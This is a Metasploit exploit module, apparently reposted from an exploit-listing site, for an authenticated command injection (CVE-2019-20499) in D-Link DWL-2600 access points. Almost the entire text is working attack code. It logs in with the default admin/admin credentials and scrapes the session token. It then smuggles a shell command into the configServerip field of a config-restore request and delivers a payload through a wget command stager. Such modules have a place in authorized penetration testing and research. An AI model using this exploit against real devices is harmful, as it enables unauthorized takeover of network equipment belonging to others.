Exploit for DLINK DWL-2600 Authenticated Remote Command Injection CVE-2019-20499

## https://sploitus.com/exploit?id=PACKETSTORM:156952
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DLINK DWL-2600 Authenticated Remote Command Injection',  
'Description' => %q{  
Some DLINK Access Points are vulnerable to an authenticated OS command injection.  
Default credentials for the web interface are admin/admin.  
},  
'Author' =>  
[  
'RAKI BEN HAMOUDA', # Vulnerability discovery and original research  
'Nick Starke' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2019-20499' ],  
[ 'EDB', '46841' ]  
],  
'DisclosureDate' => 'May 15 2019',  
'Privileged' => true,  
'Platform' => %w{ linux unix },  
'Payload' =>  
{  
'DisableNops' => true,  
'BadChars' => "\x00"  
},  
'CmdStagerFlavor' => :wget,  
'Targets' =>  
[  
[ 'CMD',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
[ 'Linux mips Payload',  
{  
'Arch' => ARCH_MIPSLE,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 1  
))  
  
register_options(  
[  
OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),  
OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),  
OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ])  
])  
end  
  
def execute_command(cmd, opts={})  
bogus = Rex::Text.rand_text_alpha(rand(10))  
  
post_data = Rex::MIME::Message.new  
post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"")  
post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"")  
post_data.add_part("; #{cmd} ;", nil, nil, "form-data; name=\"configServerip\"")  
  
print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin.cgi'),  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'cookie' => "sessionHTTP=#{@token};",  
'data' => post_data.to_s,  
'query' => 'action=config_restore'  
})  
  
unless res || res.code != 200  
fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!")  
end  
  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return  
end  
  
def exploit  
user = datastore['HttpUsername']  
pass = datastore['HttpPassword']  
rhost = datastore['RHOST']  
rport = datastore['RPORT']  
  
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/admin.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'i_username' => user,  
'i_password' => pass,  
'login' => 'Logon'  
}  
})  
  
unless res && res.code != 404  
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
  
unless [200, 301, 302].include?(res.code)  
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
  
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")  
  
delstart = 'var cookieValue = "'  
tokenoffset = res.body.index(delstart) + delstart.size  
endoffset = res.body.index('";', tokenoffset)  
@token = res.body[tokenoffset, endoffset - tokenoffset]  
  
if @token.empty?  
fail_with(Failure::NoAccess, "#{peer} - No Auth token received")  
end  
  
print_good("#{peer} - Received Auth token: #{@token}")  
if target.name =~ /CMD/  
unless datastore['CMD']  
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")  
end  
execute_command(payload.encoded)  
else  
execute_cmdstager(linemax: 100, noconcat: true)  
end  
end  
end